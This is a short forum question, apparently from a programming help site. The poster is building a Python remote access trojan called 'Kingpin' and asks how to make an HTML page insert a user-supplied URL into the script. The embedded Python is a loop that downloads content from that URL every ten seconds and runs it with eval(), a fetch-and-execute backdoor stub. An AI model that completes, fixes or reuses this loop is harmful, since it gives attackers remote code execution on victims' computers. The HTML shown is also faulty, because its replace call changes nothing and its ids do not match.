The thing is I am trying to make a R.A.T in python for educational purposes obviously and I have coded a simple html website that is meant to change url4python1 to be replaced with the url the user typed in and the python code will then execute the code on the url
<!DOCTYPE html>
<h1>Kingpin V1.0</h1>
<title>Kingpin</title>
<p>Raw URL:</p>
<input id="solidmate"></input> <button onclick="document.getElementById('url4python').innerText.replace('url4python' , document.getElementById('solidmate').innerText )">Submit</button>
<br></br>
<h1>
import requests <p></p>
import time <p></p>
import os <p></p>
while True: <p></p>
<p id="url4python">url4python = "url4python1"</p>
r1 = requests.get('' + url4python)
eval(r1.content) <p></p>
time.sleep(10) <p></p>
</h1>
I have googled this problem to no avail and I found a stackoverflow question about this problem here: How can I replace the text in an <h1> from a CSS file without using a <span> tag?
but it was to no use because people kept discouraging the Original Poster and now I have no clue what the answer is!